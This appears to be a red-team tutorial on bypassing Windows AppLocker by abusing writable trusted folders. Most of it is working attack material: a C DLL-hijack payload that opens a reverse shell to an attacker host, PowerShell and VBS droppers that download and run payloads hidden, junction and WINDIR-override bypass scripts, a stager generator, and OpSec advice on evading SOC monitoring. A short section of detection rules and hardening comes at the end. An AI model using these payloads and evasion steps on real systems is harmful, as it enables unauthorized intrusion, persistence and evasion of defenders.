AppLocker Bypass — Trusted Folder Abuse
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1574 (Hijack Execution Flow), T1574.001 (DLL Search Order Hijacking), T1036 (Masquerading), and T1574.010 (ServicesFile Permissions Weakness).
Lab Setup
Reproduce every technique in an isolated snapshot environment before running anything on a real engagement.
VM Stack
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ ┌──────────────────────┐ ┌────────────────────────┐ │
│ │ Windows 10/11 VM │ │ Kali Linux VM │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ │ │ │ │
│ │ - AppLocker enabled │ │ - Python HTTP server │ │
│ │ - Standard user │ │ - nc / rlwrap │ │
│ │ - Sysmon installed │ │ - msfvenom (optional) │ │
│ │ - Audit logging on │ │ │ │
│ │ │ │ 192.168.56.101 │ │
│ │ 192.168.56.100 │ └────────────────────────┘ │
│ └──────────────────────┘ │
│ Host-only network: 192.168.56.0/24 │
└─────────────────────────────────────────────────────────┘Windows VM — AppLocker + Standard User Configuration
1# 1. Enable AppLocker service
2Set-Service -Name AppIDSvc -StartupType Automatic
3Start-Service -Name AppIDSvc
4
5# 2. Apply default rules via GPO (run as admin)
6# gpedit.msc → Computer Configuration → Windows Settings →
7# Security Settings → Application Control Policies → AppLocker
8# Right-click Executable Rules → Create Default Rules
9
10# 3. Enforce rules (not just Audit)
11# In each category → right-click → Properties → Enforcement: Enforced
12
13# 4. Verify enforcement is active
14Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
15
16# 5. Create a standard (non-admin) test user
17$pw = ConvertTo-SecureString "Password1!" -AsPlainText -Force
18New-LocalUser -Name "testuser" -Password $pw -FullName "Test User"
19Add-LocalGroupMember -Group "Users" -Member "testuser"
20# Do NOT add to Administrators
21
22# 6. Install AccessChk for writable-path discovery
23# Download from https://learn.microsoft.com/en-us/sysinternals/
24# Place accesschk.exe in C:\Tools\ (whitelisted or run from admin session)
25
26# 7. Install Process Monitor
27# Download from Sysinternals; useful for watching file/registry ops live
28
29# 8. Enable process creation audit
30auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
31# Verify
32auditpol /get /subcategory:"Process Creation"Sysmon Configuration
# Download Sysmon + SwiftOnSecurity config
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" `
-OutFile C:\Tools\sysmon-config.xml
# Install
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml
# Monitor events in real time
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 |
Select-Object TimeCreated, Id, Message | Format-ListAttacker VM (Kali) — Payload Delivery Server
# Catch reverse shells
rlwrap nc -lvnp 4444
# Serve payloads over HTTP
mkdir -p ~/lab/trusted-folders
cd ~/lab/trusted-folders
python3 -m http.server 8080Snapshot
Take a snapshot named "AppLocker-Trusted-Clean" after all configuration is done.
Roll back between technique tests to keep the environment consistent.Diagrams
AppLocker Path Trust Model
AppLocker Rule Engine
│
▼
Is the binary path inside a trusted location?
│
┌─────┴──────────────────────────────────────┐
│ │
▼ ▼
%WINDIR%\* %PROGRAMFILES%\*
%PROGRAMFILES(X86)%\*
│ │
▼ ▼
ALLOW ← path matched ALLOW ← path matched
│
└── Who wrote the file? ← AppLocker DOESN'T CHECK THIS
│
├── Admin wrote it → legitimate use
└── Attacker wrote it → BYPASS (AppLocker still allows)
Key insight: path trust ≠ write-access controlWritable Path Hierarchy Inside %WINDIR%
C:\Windows\ (trusted by AppLocker default rule)
│
├── Tasks\ ← world-writable on many builds
├── Tracing\ ← writable by authenticated users
├── Temp\ ← writable, but often blocked by group policy
├── System32\spool\drivers\color\ ← writable on some configs
├── SysWOW64\Tasks\ ← same as Tasks, 32-bit mirror
│
└── [any writable subdir] → drop payload → execute → AppLocker ALLOWS
Attacker's checklist:
accesschk.exe -wud "C:\Windows" -accepteula
accesschk.exe -wud "C:\Program Files" -accepteulaDirectory Junction Abuse Flow
Step 1: Find a path AppLocker trusts but can't write to directly
C:\Windows\System32\ (admin-only writes)
Step 2: Find a writable directory outside the trusted tree
C:\Users\testuser\AppData\Local\Temp\junc_source\
Step 3: Create a junction from trusted-looking path → writable dir
mklink /J C:\Windows\Tasks\junction_name C:\Users\testuser\AppData\...
Step 4: Drop payload into the writable directory
Copy-Item payload.exe C:\Users\testuser\AppData\...\payload.exe
Step 5: Execute via the junction path
C:\Windows\Tasks\junction_name\payload.exe
↑ AppLocker evaluates THIS path → matches %WINDIR%\* → ALLOW
Step 6: Payload runs — AppLocker never saw the real write locationEnvironment Variable Manipulation Flow
Normal resolution:
%WINDIR% → C:\Windows (set by SYSTEM at boot)
Attacker perspective (when %WINDIR% is user-controllable):
Set-Item Env:WINDIR "C:\Users\testuser\AppData\Local\Temp\fakedir"
│
▼
AppLocker path rule: %WINDIR%\*
Expands to: C:\Users\testuser\AppData\Local\Temp\fakedir\*
│
▼
Attacker drops payload.exe into that fake dir
Executes it → AppLocker rule fires (expanded path matches) → ALLOW
Note: Modern systems fix this with locked WINDIR expansion in AppLocker,
but legacy configs and some edge cases remain vulnerable.How AppLocker Path Rules Work
AppLocker’s default ruleset grants execution rights using path-based rules. Out of the box, the three blessed paths are:
%WINDIR%\* → C:\Windows\...
%PROGRAMFILES%\* → C:\Program Files\...
%PROGRAMFILES(X86)%\* → C:\Program Files (x86)\...Anything inside these directories, regardless of who put it there, is trusted. AppLocker evaluates the path. That’s it. If the file lives under C:\Windows\, the rule fires, execution is allowed, and no further inspection happens.
The assumption baked into this model is that only administrators can write to these directories. On a hardened system, that assumption holds. On a real-world enterprise box, it almost never does.
The Attack Model
AppLocker path rule: C:\Windows\* → ALLOW
│
Non-admin user finds: C:\Windows\Tasks\ — world-writable
│
Drops payload.exe into that path
│
Executes it — AppLocker sees trusted path, fires ALLOW
│
Payload runs with user privileges, AppLocker never complainedThe bypass lives entirely in the gap between path trust and write access control. Find a writable directory inside a trusted path, place your payload, execute. Game over.
Phase 1 — Enumeration: Finding Writable Trusted Paths
Built-in writable directories (default Windows installs)
These directories are writable by all authenticated users on most Windows versions without any configuration changes. They exist under %WINDIR%, which AppLocker trusts completely:
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\Com\dmp\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\spool\PRINTERS\
C:\Windows\System32\spool\servers\
C:\Windows\SysWOW64\Com\dmp\
C:\Windows\SysWOW64\FxsTmp\
C:\Windows\SysWOW64\Tasks\
C:\Windows\tracing\These are known. On your actual target, the installed software will have added more.
Custom Tool 1 — PowerShell writable path enumerator
1# Find-WritableTrustedPaths.ps1
2# Recursively walks AppLocker-trusted directories and reports
3# every subdirectory the current user can write to.
4# Outputs results ranked by usefulness (exec-friendly paths first).
5
6param(
7 [string[]]$TrustedRoots = @(
8 $env:WINDIR,
9 $env:PROGRAMFILES,
10 ${env:PROGRAMFILES(X86)}
11 ),
12 [int]$MaxDepth = 4,
13 [switch]$Quiet
14)
15
16function Test-Writable {
17 param([string]$Path)
18 $probe = Join-Path $Path ([System.IO.Path]::GetRandomFileName())
19 try {
20 [System.IO.File]::WriteAllBytes($probe, [byte[]]@(0x4D, 0x5A))
21 Remove-Item $probe -Force -ErrorAction SilentlyContinue
22 return $true
23 } catch {
24 return $false
25 }
26}
27
28function Get-Depth {
29 param([string]$Path, [string]$Root)
30 $rel = $Path.Substring($Root.Length).TrimStart('\')
31 return ($rel -split '\\').Count
32}
33
34$results = [System.Collections.Generic.List[PSCustomObject]]::new()
35
36foreach ($root in $TrustedRoots | Where-Object { $_ -and (Test-Path $_) }) {
37 if (-not $Quiet) { Write-Host "[*] scanning $root ..." -ForegroundColor Cyan }
38
39 Get-ChildItem -Path $root -Recurse -Directory -ErrorAction SilentlyContinue |
40 Where-Object {
41 (Get-Depth $_.FullName $root) -le $MaxDepth
42 } |
43 ForEach-Object {
44 if (Test-Writable $_.FullName) {
45 # check if we can also create executables (some paths allow write but block .exe)
46 $exeProbe = Join-Path $_.FullName "test_$(Get-Random).exe"
47 $exeOk = $false
48 try {
49 [System.IO.File]::WriteAllBytes($exeProbe, [byte[]]@(0x4D,0x5A,0x90,0x00))
50 Remove-Item $exeProbe -Force -ErrorAction SilentlyContinue
51 $exeOk = $true
52 } catch {}
53
54 $results.Add([PSCustomObject]@{
55 Path = $_.FullName
56 ExeDrop = $exeOk
57 Root = $root
58 Depth = (Get-Depth $_.FullName $root)
59 })
60 }
61 }
62}
63
64# rank: exe-droppable first, then by depth (shallower = less conspicuous)
65$ranked = $results | Sort-Object -Property @(
66 @{ Expression = "ExeDrop"; Descending = $true },
67 @{ Expression = "Depth"; Descending = $false }
68)
69
70Write-Host "`n[+] Writable trusted paths ($($ranked.Count) found):`n" -ForegroundColor Green
71
72$ranked | ForEach-Object {
73 $tag = if ($_.ExeDrop) { "[EXE]" } else { "[WRT]" }
74 $col = if ($_.ExeDrop) { "Yellow" } else { "Gray" }
75 Write-Host " $tag $($_.Path)" -ForegroundColor $col
76}
77
78# export CSV for offline analysis
79$ranked | Export-Csv -Path ".\writable_trusted_paths.csv" -NoTypeInformation
80Write-Host "`n[*] saved to writable_trusted_paths.csv" -ForegroundColor Cyan# run
.\Find-WritableTrustedPaths.ps1
# deeper scan, all roots
.\Find-WritableTrustedPaths.ps1 -MaxDepth 6
# quiet — CSV only
.\Find-WritableTrustedPaths.ps1 -QuietCustom Tool 2 — C# standalone enumerator (no PowerShell dependency)
Compile and drop this when PowerShell is locked down or Script Block Logging is hot.
1// PathFinder.cs — writable trusted path enumerator
2// Compile: csc.exe /out:PathFinder.exe PathFinder.cs
3// or: dotnet build
4
5using System;
6using System.Collections.Generic;
7using System.IO;
8using System.Security.AccessControl;
9using System.Security.Principal;
10
11class PathFinder {
12
13 static readonly string[] TrustedRoots = {
14 Environment.GetEnvironmentVariable("WINDIR") ?? @"C:\Windows",
15 Environment.GetEnvironmentVariable("PROGRAMFILES") ?? @"C:\Program Files",
16 Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") ?? @"C:\Program Files (x86)"
17 };
18
19 static WindowsIdentity _identity = WindowsIdentity.GetCurrent();
20
21 static void Main(string[] args) {
22 int maxDepth = 4;
23 if (args.Length > 0) int.TryParse(args[0], out maxDepth);
24
25 Console.ForegroundColor = ConsoleColor.Cyan;
26 Console.WriteLine($"[*] running as {_identity.Name}");
27 Console.WriteLine($"[*] scanning trusted roots (depth {maxDepth})\n");
28 Console.ResetColor();
29
30 var results = new List<(string path, bool exeOk)>();
31
32 foreach (var root in TrustedRoots) {
33 if (!Directory.Exists(root)) continue;
34 Console.WriteLine($"[*] {root}");
35 Walk(root, root, 0, maxDepth, results);
36 }
37
38 results.Sort((a, b) => {
39 int exeCmp = b.exeOk.CompareTo(a.exeOk);
40 return exeCmp != 0 ? exeCmp : a.path.Length.CompareTo(b.path.Length);
41 });
42
43 Console.ForegroundColor = ConsoleColor.Green;
44 Console.WriteLine($"\n[+] {results.Count} writable path(s) found:\n");
45 Console.ResetColor();
46
47 foreach (var (path, exeOk) in results) {
48 var tag = exeOk ? "[EXE]" : "[WRT]";
49 Console.ForegroundColor = exeOk ? ConsoleColor.Yellow : ConsoleColor.Gray;
50 Console.WriteLine($" {tag} {path}");
51 }
52 Console.ResetColor();
53
54 // write to file
55 using var f = File.CreateText("writable_paths.txt");
56 foreach (var (path, exeOk) in results)
57 f.WriteLine($"{(exeOk ? "EXE" : "WRT")}\t{path}");
58 Console.WriteLine("\n[*] saved → writable_paths.txt");
59 }
60
61 static void Walk(string root, string dir, int depth, int maxDepth,
62 List<(string, bool)> results) {
63 if (depth > maxDepth) return;
64
65 string[] subs;
66 try { subs = Directory.GetDirectories(dir); }
67 catch { return; }
68
69 foreach (var sub in subs) {
70 var (canWrite, canExe) = TestWrite(sub);
71 if (canWrite) results.Add((sub, canExe));
72 Walk(root, sub, depth + 1, maxDepth, results);
73 }
74 }
75
76 static (bool write, bool exe) TestWrite(string dir) {
77 var rand = Path.GetRandomFileName();
78 var probe = Path.Combine(dir, rand);
79 var exeProbe = Path.Combine(dir, rand + ".exe");
80 bool write = false, exe = false;
81
82 try {
83 File.WriteAllBytes(probe, new byte[] { 0x4D, 0x5A });
84 File.Delete(probe);
85 write = true;
86 } catch { return (false, false); }
87
88 try {
89 // MZ header — valid enough to trigger AppLocker path eval
90 File.WriteAllBytes(exeProbe, new byte[] { 0x4D,0x5A,0x90,0x00,0x03,0x00 });
91 File.Delete(exeProbe);
92 exe = true;
93 } catch {}
94
95 return (write, exe);
96 }
97}csc.exe /out:PathFinder.exe PathFinder.cs
PathFinder.exe :: default depth 4
PathFinder.exe 6 :: depth 6Phase 2 — Exploitation
Technique 1: Direct Execution from Writable Trusted Path
The simplest possible bypass. Drop your payload into a writable trusted directory, execute it. AppLocker checks the path, sees C:\Windows\Tasks\, fires the ALLOW rule.
:: copy payload to writable trusted path
copy payload.exe C:\Windows\Tasks\svchost_upd.exe
:: execute — AppLocker evaluates path, not content
C:\Windows\Tasks\svchost_upd.exe# PowerShell dropper — fetch and execute from trusted path
$target = "C:\Windows\Tasks\WindowsUpdate.exe"
$url = "http://10.10.10.10/payload.exe"
(New-Object Net.WebClient).DownloadFile($url, $target)
Start-Process $target -WindowStyle HiddenTechnique 2: DLL Drop + Search Order Hijacking
When a trusted binary runs from a trusted path, Windows searches for its DLL dependencies in a predictable order. If any dependency is missing, or can be intercepted at a writable trusted path, you win. Your DLL loads inside a fully trusted process.
DLL search order (SafeDllSearchMode enabled):
1. DLLs already in memory
2. Known DLLs (HKLM\SYSTEM\...\KnownDLLs)
3. The application's directory ← if this is writable, done
4. C:\Windows\System32\
5. C:\Windows\System\
6. C:\Windows\
7. Current working directory
8. PATH directoriesStep 1: Find a vulnerable binary
1# Find-DLLHijack.ps1
2# Finds trusted binaries that attempt to load DLLs that don't exist
3# Requires Process Monitor (ProcMon) trace or uses the known-missing list
4
5# Known DLLs missing from many Windows installations (common hijack targets)
6$KnownMissing = @(
7 "wbemcomn.dll", "ntwdblib.dll", "symsrv.dll",
8 "dbghelp.dll", "mscms.dll", "MPSigStub.exe",
9 "TSMSISrv.dll", "TSVIPSrv.dll", "Tsmsisi.dll"
10)
11
12# Find writable application directories for installed software
13$appDirs = @(
14 "$env:PROGRAMFILES",
15 "${env:PROGRAMFILES(X86)}"
16) | ForEach-Object {
17 Get-ChildItem $_ -Directory -ErrorAction SilentlyContinue
18} | Where-Object {
19 $probe = Join-Path $_.FullName "probe_$(Get-Random).tmp"
20 try {
21 [IO.File]::WriteAllBytes($probe, @(0))
22 Remove-Item $probe -Force
23 $true
24 } catch { $false }
25}
26
27Write-Host "[+] Writable application directories:"
28$appDirs | ForEach-Object { Write-Host " $($_.FullName)" }
29Write-Host "`n[+] High-value DLL hijack candidates:"
30$KnownMissing | ForEach-Object { Write-Host " $_" }Step 2: Build the hijack DLL
1/* hijack.c — DLL hijack payload
2 * Drops in place of a missing DLL in a trusted binary's directory.
3 * Forwards all expected exports to the real DLL so the host process
4 * stays stable (important for persistence — crashing the host burns the foothold).
5 *
6 * Compile:
7 * x86_64-w64-mingw32-gcc -shared -o target.dll hijack.c \
8 * -lws2_32 -mwindows -s -Wl,--build-id=none \
9 * -Wl,--enable-stdcall-fixup
10 */
11
12#define WIN32_LEAN_AND_MEAN
13#include <windows.h>
14#include <winsock2.h>
15#include <ws2tcpip.h>
16
17#define LHOST "10.10.10.10"
18#define LPORT 4444
19
20static HANDLE g_thread = NULL;
21
22/* ── reverse shell ───────────────────────────────────────────────────── */
23static DWORD WINAPI shell_thread(LPVOID p) {
24 (void)p;
25
26 WSADATA wsa;
27 WSAStartup(MAKEWORD(2,2), &wsa);
28
29 SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
30 NULL, 0, WSA_FLAG_OVERLAPPED);
31 if (sock == INVALID_SOCKET) return 1;
32
33 struct sockaddr_in sa = {0};
34 sa.sin_family = AF_INET;
35 sa.sin_port = htons(LPORT);
36 inet_pton(AF_INET, LHOST, &sa.sin_addr);
37
38 if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) != 0) {
39 closesocket(sock);
40 WSACleanup();
41 return 1;
42 }
43
44 STARTUPINFOA si = {0};
45 si.cb = sizeof(si);
46 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
47 si.wShowWindow = SW_HIDE;
48 si.hStdInput = (HANDLE)sock;
49 si.hStdOutput = (HANDLE)sock;
50 si.hStdError = (HANDLE)sock;
51
52 PROCESS_INFORMATION pi = {0};
53 char cmd[] = "cmd.exe";
54 CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
55 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
56
57 WaitForSingleObject(pi.hProcess, INFINITE);
58 CloseHandle(pi.hProcess);
59 CloseHandle(pi.hThread);
60 closesocket(sock);
61 WSACleanup();
62 return 0;
63}
64
65/* ── DllMain ─────────────────────────────────────────────────────────── */
66BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
67 if (reason == DLL_PROCESS_ATTACH) {
68 DisableThreadLibraryCalls(hMod);
69 g_thread = CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
70 }
71 if (reason == DLL_PROCESS_DETACH && g_thread) {
72 CloseHandle(g_thread);
73 }
74 return TRUE;
75}
76
77/* ── stub exports — keeps host process from crashing ─────────────────── */
78/* Add real forwarding pragmas for the specific DLL you're impersonating */
79__declspec(dllexport) void Stub_Export_1(void) {}
80__declspec(dllexport) void Stub_Export_2(void) {}Step 3: Deploy
:: drop the hijack DLL where the vulnerable binary will find it
copy hijack.dll "C:\Program Files\VulnerableApp\wbemcomn.dll"
:: trigger the host binary — it loads your DLL, shell fires
"C:\Program Files\VulnerableApp\legit_app.exe"Technique 3: Directory Junction Abuse
A directory junction (symlink for directories) tricks AppLocker’s path evaluation. AppLocker resolves the path of the file, not the junction that points to it. If you create a junction inside a trusted path pointing to a directory you control, files in your directory inherit the trusted path evaluation.
1:: create a directory you control (outside trusted paths)
2mkdir C:\Users\Public\staging
3
4:: drop your payload there
5copy payload.exe C:\Users\Public\staging\update.exe
6
7:: create a junction from a writable trusted path → your staging dir
8:: requires mklink (built-in) — no admin needed for junctions to user-writable dirs
9mklink /J C:\Windows\Tasks\TrustMe C:\Users\Public\staging
10
11:: execute via the junction path — AppLocker sees C:\Windows\Tasks\TrustMe\update.exe
12C:\Windows\Tasks\TrustMe\update.exe 1# Junction-Bypass.ps1 — automated junction creation and payload execution
2
3param(
4 [string]$PayloadUrl = "http://10.10.10.10/payload.exe",
5 [string]$StagingDir = "$env:PUBLIC\svc",
6 [string]$TrustedBase = "C:\Windows\Tasks",
7 [string]$JunctionName = "TrustMe_$(Get-Random -Max 9999)"
8)
9
10$junctionPath = Join-Path $TrustedBase $JunctionName
11$payloadLocal = Join-Path $StagingDir "svchost.exe"
12$payloadViaJnc = Join-Path $junctionPath "svchost.exe"
13
14# prep staging area (outside trusted path)
15New-Item -ItemType Directory -Path $StagingDir -Force | Out-Null
16(New-Object Net.WebClient).DownloadFile($PayloadUrl, $payloadLocal)
17Write-Host "[+] payload staged at $payloadLocal"
18
19# create junction from trusted path → staging dir
20# cmd /c mklink needed — PowerShell New-Item junction requires elevation on some builds
21cmd /c "mklink /J `"$junctionPath`" `"$StagingDir`"" | Out-Null
22Write-Host "[+] junction: $junctionPath → $StagingDir"
23
24# execute via trusted junction path
25Start-Process -FilePath $payloadViaJnc -WindowStyle Hidden
26Write-Host "[*] launched: $payloadViaJnc"Technique 4: Environment Variable Manipulation
AppLocker expands environment variables when evaluating path rules. If %WINDIR% can be overridden in the user’s environment, the trusted path rule expands to a path you control.
1:: override WINDIR in user environment
2:: (doesn't affect system — only current user session and child processes)
3set WINDIR=C:\Users\Public\FakeWindows
4
5:: create matching directory structure
6mkdir C:\Users\Public\FakeWindows\Tasks
7
8:: drop payload
9copy payload.exe C:\Users\Public\FakeWindows\Tasks\update.exe
10
11:: AppLocker evaluates path as %WINDIR%\Tasks\ — resolves to our fake dir
12C:\Users\Public\FakeWindows\Tasks\update.exe 1# EnvVar-Bypass.ps1
2
3$fakeWin = "$env:PUBLIC\FakeWin"
4$fakeTasks = "$fakeWin\Tasks"
5$payload = "$fakeTasks\svchost.exe"
6$url = "http://10.10.10.10/payload.exe"
7
8New-Item -ItemType Directory -Path $fakeTasks -Force | Out-Null
9(New-Object Net.WebClient).DownloadFile($url, $payload)
10
11# override for this session and all child processes
12$env:WINDIR = $fakeWin
13[Environment]::SetEnvironmentVariable("WINDIR", $fakeWin, "User")
14
15Write-Host "[+] WINDIR overridden → $fakeWin"
16Write-Host "[+] payload at $payload"
17
18# launch in a new session that inherits the modified environment
19Start-Process $payload -WindowStyle HiddenNote: Modern Windows and hardened builds may not honor user-level
%WINDIR%overrides in AppLocker evaluation. Test on the specific target OS and patch level. This works reliably on Windows 7–10 pre-2020 patching.
Technique 5: Writable Path + Renamed Interpreter
A clean, reliable technique: copy a trusted script interpreter into a writable trusted directory, then use it to execute your payload. AppLocker allows both the interpreter (trusted binary, trusted path) and the script (same trusted path).
:: copy cscript into a writable trusted path
copy C:\Windows\System32\cscript.exe C:\Windows\Tasks\cshost.exe
:: drop script payload in same trusted directory
echo WScript.Shell.Run "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/s.ps1')" > C:\Windows\Tasks\init.vbs
:: execute — AppLocker sees two trusted-path files
C:\Windows\Tasks\cshost.exe //nologo C:\Windows\Tasks\init.vbsTechnique 6: Trusted Path Payload Stager (Full Automation)
1#!/usr/bin/env python3
2# trusted_path_stager.py
3# Given a list of writable trusted paths (from PathFinder output),
4# selects the best drop location, uploads payload, and generates
5# the execution command.
6
7import os
8import sys
9import socket
10import struct
11import argparse
12from pathlib import Path
13
14# Known writable trusted directories — ranked by stealth (lower = stealthier name)
15KNOWN_WRITABLE = [
16 r"C:\Windows\System32\spool\drivers\color", # rarely monitored
17 r"C:\Windows\tracing",
18 r"C:\Windows\System32\Com\dmp",
19 r"C:\Windows\System32\FxsTmp",
20 r"C:\Windows\Registration\CRMLog",
21 r"C:\Windows\Tasks", # common, slightly noisier
22 r"C:\Windows\Temp", # noisiest — avoid if possible
23]
24
25LOLBINS = {
26 "cscript": r"C:\Windows\System32\cscript.exe",
27 "wscript": r"C:\Windows\System32\wscript.exe",
28 "mshta": r"C:\Windows\System32\mshta.exe",
29 "rundll32": r"C:\Windows\System32\rundll32.exe",
30 "regsvr32": r"C:\Windows\System32\regsvr32.exe",
31}
32
33def generate_dropper_ps1(drop_path: str, payload_url: str, lolbin: str = None) -> str:
34 payload_name = "svchost_" + str(hash(payload_url) & 0xffff) + ".exe"
35 target = drop_path.rstrip("\\") + "\\" + payload_name
36
37 lines = [
38 f'# trusted path stager — generated by trusted_path_stager.py',
39 f'$target = "{target}"',
40 f'$url = "{payload_url}"',
41 f'',
42 f'# fetch and write to trusted path',
43 f'(New-Object Net.WebClient).DownloadFile($url, $target)',
44 f'Write-Host "[+] dropped to $target"',
45 f'',
46 ]
47
48 if lolbin:
49 # execute via a LOLBin copy in the same trusted directory
50 lolbin_src = LOLBINS.get(lolbin, r"C:\Windows\System32\cscript.exe")
51 lolbin_drop = drop_path.rstrip("\\") + f"\\{lolbin}host.exe"
52 lines += [
53 f'# copy interpreter to same trusted path',
54 f'Copy-Item "{lolbin_src}" "{lolbin_drop}" -Force',
55 f'Start-Process "{lolbin_drop}" -ArgumentList "//nologo $target" -WindowStyle Hidden',
56 ]
57 else:
58 lines += [
59 f'# execute directly',
60 f'Start-Process $target -WindowStyle Hidden',
61 ]
62
63 lines += [
64 f'Write-Host "[*] launched"',
65 ]
66
67 return "\n".join(lines)
68
69def generate_cmd_oneliner(drop_path: str, payload_url: str) -> str:
70 payload_name = "update_kb.exe"
71 target = drop_path.rstrip("\\") + "\\" + payload_name
72 return (
73 f'powershell -nop -w hidden -ep bypass -c "'
74 f'(New-Object Net.WebClient).DownloadFile('
75 f"\\'{payload_url}\\',\\'{target}\\');"
76 f'Start-Process \\'{target}\\' -WindowStyle Hidden"'
77 )
78
79def main():
80 p = argparse.ArgumentParser(description="Trusted Path Stager Generator")
81 p.add_argument("--url", required=True, help="payload URL")
82 p.add_argument("--path", default=None, help="override drop path")
83 p.add_argument("--lolbin", default=None, choices=list(LOLBINS.keys()),
84 help="copy and use a LOLBin from the same trusted path")
85 p.add_argument("--oneliner", action="store_true", help="output cmd one-liner only")
86 args = p.parse_args()
87
88 drop_path = args.path or KNOWN_WRITABLE[0]
89
90 print(f"[*] target drop path : {drop_path}")
91 print(f"[*] payload url : {args.url}")
92 if args.lolbin:
93 print(f"[*] LOLBin : {args.lolbin}")
94 print()
95
96 if args.oneliner:
97 print("[CMD one-liner]")
98 print(generate_cmd_oneliner(drop_path, args.url))
99 else:
100 print("[PowerShell dropper]")
101 print("-" * 60)
102 print(generate_dropper_ps1(drop_path, args.url, args.lolbin))
103
104if __name__ == "__main__":
105 main() 1# generate a PS1 dropper for the stealthiest known writable path
2python3 trusted_path_stager.py --url http://10.10.10.10/payload.exe
3
4# use cscript LOLBin copy in the same trusted dir
5python3 trusted_path_stager.py --url http://10.10.10.10/shell.vbs --lolbin cscript
6
7# cmd one-liner (for macros, run dialog, etc.)
8python3 trusted_path_stager.py --url http://10.10.10.10/payload.exe --oneliner
9
10# specify custom drop path (from PathFinder output)
11python3 trusted_path_stager.py \
12 --url http://10.10.10.10/payload.exe \
13 --path "C:\Windows\System32\spool\drivers\color"OpSec Notes
C:\Windows\Tempis the noisiest writable trusted path — most blue teams monitor it explicitly. Preferspool\drivers\color,tracing, orFxsTmpwhich are rarely watched.- Payload naming matters. Files named
svchost.exe,lsass.exe, orexplorer.exein non-standard locations are instant Tier-1 alerts on any SOC running Sysmon. Use plausible update or service names:WmiApSrv.exe,MpCmdRun.exe,WUDFHost.exe. - Directory junctions are logged by Sysmon EID 11 (FileCreate) when the junction itself is created, but traversal through the junction typically does not generate separate path-resolution events — making it quieter than a straight file drop.
- Environment variable manipulation (
%WINDIR%) leaves a trace in the registry if you useSetEnvironmentVariableat theUserscope. Session-only (set WINDIR=...) is cleaner but dies with the process. - DLL hijacking is the stealthiest long-term play — the host process is legitimate, signed, expected to run. Your DLL lives inside a trusted application directory. No suspicious child processes unless your shell spawns one.
Detection (Blue Team)
| signal | event |
|---|---|
Executable written to C:\Windows\Tasks\, C:\Windows\Temp\, or other writable trusted dirs | Sysmon EID 11 — FileCreate |
| Process launched from writable trusted path | Sysmon EID 1 — Image path analysis |
Junction created inside C:\Windows\* | Sysmon EID 11 — TargetFilename contains junction |
%WINDIR% overridden at user level | Registry EID 13 — HKCU\Environment\WINDIR |
| DLL loaded from application directory (non-system DLL) | Sysmon EID 7 — ImageLoad, check Signed + SignatureStatus |
| Known-writable trusted path in process Image field | Sysmon EID 1 — custom alert rule |
Sysmon file creation rule:
1<FileCreate onmatch="include">
2 <!-- executables written to writable trusted paths -->
3 <TargetFilename condition="contains">Windows\Tasks\</TargetFilename>
4 <TargetFilename condition="contains">Windows\tracing\</TargetFilename>
5 <TargetFilename condition="contains">spool\drivers\color\</TargetFilename>
6 <TargetFilename condition="contains">System32\Com\dmp\</TargetFilename>
7 <TargetFilename condition="contains">System32\FxsTmp\</TargetFilename>
8</FileCreate>
9
10<ProcessCreate onmatch="include">
11 <!-- processes launched from known writable trusted paths -->
12 <Image condition="contains">Windows\Tasks\</Image>
13 <Image condition="contains">Windows\tracing\</Image>
14 <Image condition="contains">spool\drivers\color\</Image>
15</ProcessCreate>Baseline hardening:
1# Harden-TrustedPaths.ps1 — remove write access from trusted writable paths
2# Run as Administrator
3
4$harden = @(
5 "C:\Windows\Tasks",
6 "C:\Windows\tracing",
7 "C:\Windows\System32\Com\dmp",
8 "C:\Windows\System32\FxsTmp",
9 "C:\Windows\System32\spool\drivers\color",
10 "C:\Windows\System32\spool\PRINTERS",
11 "C:\Windows\Registration\CRMLog"
12)
13
14foreach ($dir in $harden) {
15 if (-not (Test-Path $dir)) { continue }
16
17 $acl = Get-Acl $dir
18 $user = [System.Security.Principal.SecurityIdentifier]"S-1-5-32-545" # BUILTIN\Users
19
20 # find and remove write rules for Users
21 $toRemove = $acl.Access | Where-Object {
22 $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) -eq $user -and
23 ($_.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -ne 0
24 }
25
26 foreach ($rule in $toRemove) {
27 $acl.RemoveAccessRule($rule) | Out-Null
28 Write-Host "[+] removed write for Users: $dir"
29 }
30
31 Set-Acl -Path $dir -AclObject $acl
32}Running this hardening script tightens the most commonly abused paths. Combine with WDAC for enforcement that doesn’t rely on ACL integrity.
MITRE ATT&CK
| technique | ID | description |
|---|---|---|
| Hijack Execution Flow | T1574 | Abusing DLL search order and writable paths |
| DLL Search Order Hijacking | T1574.001 | Dropping DLL in trusted app directory |
| Masquerading | T1036 | Naming payloads after legitimate Windows binaries |
| File System Permissions Weakness | T1574.010 | Exploiting overly-permissive ACLs in trusted paths |
| Defense Evasion via Trusted Path | T1218 | Executing from AppLocker-whitelisted directory |
References
- MITRE ATT&CK T1574 — Hijack Execution Flow
- MITRE ATT&CK T1574.001 — DLL Search Order Hijacking
- Oddvar Moe — writable Windows path research
- LOLBAS Project
- api0cradle — UltimateAppLockerByPassList
- Microsoft Docs — AppLocker Path Rules
